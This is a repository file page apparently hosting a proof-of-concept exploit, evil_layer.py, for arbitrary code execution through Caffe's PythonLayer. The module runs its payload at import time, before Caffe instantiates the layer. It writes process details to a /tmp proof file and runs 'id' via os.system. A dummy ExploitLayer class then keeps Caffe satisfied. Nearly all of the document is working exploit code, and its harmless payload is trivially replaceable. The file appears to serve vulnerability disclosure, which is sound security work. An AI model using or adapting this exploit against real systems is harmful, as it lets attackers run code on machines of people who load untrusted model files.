caffe-pythonlayer-rce-poc / evil_layer.py
xiaoyaoes's picture
Add working PoC: evil_layer.py (import-triggered RCE) + poc_rce.prototxt
0b6bf16
Raw
History Blame Contribute Delete
981 Bytes
"""
PoC: Caffe PythonLayer Arbitrary Code Execution
Executes on import via bp::import() — before Layer instantiation.
"""
import os
import sys
import subprocess
# ===== RCE happens HERE on import =====
proof_file = "/tmp/caffe_rce_proof.txt"
with open(proof_file, "w") as f:
f.write("Caffe PythonLayer RCE triggered via bp::import!\n")
f.write(f"PID: {os.getpid()}\n")
f.write(f"UID: {os.getuid()}\n")
f.write(f"CWD: {os.getcwd()}\n")
os.system("id > /tmp/caffe_rce_id_output")
print(f"[PoC] RCE verified — proof written to {proof_file}")
# ===== RCE done before Caffe gets to instantiate the layer =====
import caffe
class ExploitLayer(caffe.Layer):
"""Dummy layer to satisfy Caffe after import."""
def setup(self, bottom, top):
top[0].reshape(1)
def reshape(self, bottom, top):
top[0].reshape(1)
def forward(self, bottom, top):
top[0].data[...] = 0
def backward(self, top, propagate_down, bottom):
pass